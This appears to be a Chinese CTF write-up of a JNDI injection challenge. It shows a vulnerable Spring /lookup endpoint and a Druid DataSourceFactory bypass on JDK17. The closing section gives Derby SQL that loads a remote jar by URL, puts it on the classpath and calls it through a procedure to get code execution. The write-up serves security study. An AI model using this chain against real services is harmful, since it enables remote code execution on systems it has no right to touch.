// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//
package com.example.derby;
import javax.naming.Context;
import javax.naming.InitialContext;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;
@RestController
public class IndexController {
public IndexController() {
}
@RequestMapping({“/”})
public String index() {
return “hello derby”;
}
@RequestMapping({“/lookup”})
public String lookup(@RequestParam String url) throws Exception {
Context ctx = new InitialContext();
ctx.lookup(url);
return “ok”;
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
|
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//
package com.example.derby;
import javax.naming.Context;
import javax.naming.InitialContext;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;
@RestController
public class IndexController {
public IndexController() {
}
@RequestMapping({“/”})
public String index() {
return “hello derby”;
}
@RequestMapping({“/lookup”})
public String lookup(@RequestParam String url) throws Exception {
Context ctx = new InitialContext();
ctx.lookup(url);
return “ok”;
}
}
|
很干脆的一个JNDI入口点lookup。但JDK17,在这个环境下还是需要利用一些额外的类去绕过,在Tomcat某些版本是可以BeanFactory配合EL去实现命令执行的,这里是Druid,也可以绕过。
DruidDataSourceFactory#getObjectInstance
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
if (obj != null && obj instanceof Reference) {
Reference ref = (Reference)obj;
if (!“javax.sql.DataSource”.equals(ref.getClassName()) && !“com.alibaba.druid.pool.DruidDataSource”.equals(ref.getClassName())) {
return null;
} else {
Properties properties = new Properties();
for(int i = 0; i < ALL_PROPERTIES.length; ++i) {
String propertyName = ALL_PROPERTIES[i];
RefAddr ra = ref.get(propertyName);
if (ra != null) {
String propertyValue = ra.getContent().toString();
properties.setProperty(propertyName, propertyValue);
}
}
return this.createDataSourceInternal(properties);
}
} else {
return null;
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
|
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
if (obj != null && obj instanceof Reference) {
Reference ref = (Reference)obj;
if (!“javax.sql.DataSource”.equals(ref.getClassName()) && !“com.alibaba.druid.pool.DruidDataSource”.equals(ref.getClassName())) {
return null;
} else {
Properties properties = new Properties();
for(int i = 0; i < ALL_PROPERTIES.length; ++i) {
String propertyName = ALL_PROPERTIES[i];
RefAddr ra = ref.get(propertyName);
if (ra != null) {
String propertyValue = ra.getContent().toString();
properties.setProperty(propertyName, propertyValue);
}
}
return this.createDataSourceInternal(properties);
}
} else {
return null;
}
}
|
在这里有一个createDataSourceInternal
操作
在这个config方法最后会调用init方法
在这里会有createPhysicalConnection方法
最终在里面发起了JDBC连接。
这时候就回到了JDBC-ATTACK的利用了
JDBC-Attack 利用汇总 - Boogiepop Doesn’t Laughhttps://boogipop.com/2023/10/01/JDBC-Attack%20%E5%88%A9%E7%94%A8%E6%B1%87%E6%80%BB/
假如在这里有h2数据库的driver那就可以直接RCE,但很遗憾是没有的并且题目提示打derby。我一开始去想到的是derby的readobject,但实际上并不是,这里需要自己寻找一下。回到config方法,你会发现有一些初始化操作
而这里我们效仿h2,也寻找是否有初始化的sql语句,到这里就转变为了sql可控的注入。而derby数据库也是可以加载Jar包的
derby数据库如何实现RCE - lvyyevd’s 安全博客前言前段时间遇到了一个后台可以操作数据库语句的地方,且使用的数据库为derby,derby数据库可以作为内嵌数据库,要知道H2数据库可以利用alias别名,调用java代码进行命令执行。猜测derby数据库也有相应功能,一直翻阅官方文档,终于找到了一种RCE利用方式(应该还没有人发吧),在这里记录一http://www.lvyyevd.cn/archives/derby-shu-ju-ku-ru-he-shi-xian-rce
导入一个类到数据库中
CALL SQLJ.INSTALL_JAR(‘http://127.0.0.1:8088/test3.jar’, ‘APP.Sample4’, 0)
将这个类加入到derby.database.classpath,这个属性是动态的,不需要重启数据库
CALL SYSCS_UTIL.SYSCS_SET_DATABASE_PROPERTY(‘derby.database.classpath’,‘APP.Sample4’)
创建一个PROCEDURE,EXTERNAL NAME 后面的值可以调用类的static类型方法
CREATE PROCEDURE SALES.TOTAL_REVENUES() PARAMETER STYLE JAVA READS SQL DATA LANGUAGE JAVA EXTERNAL NAME ‘testShell4.exec’
调用PROCEDURE
CALL SALES.TOTAL_REVENUES()
1
2
3
4
5
6
7
8
9
10
11
|
导入一个类到数据库中
CALL SQL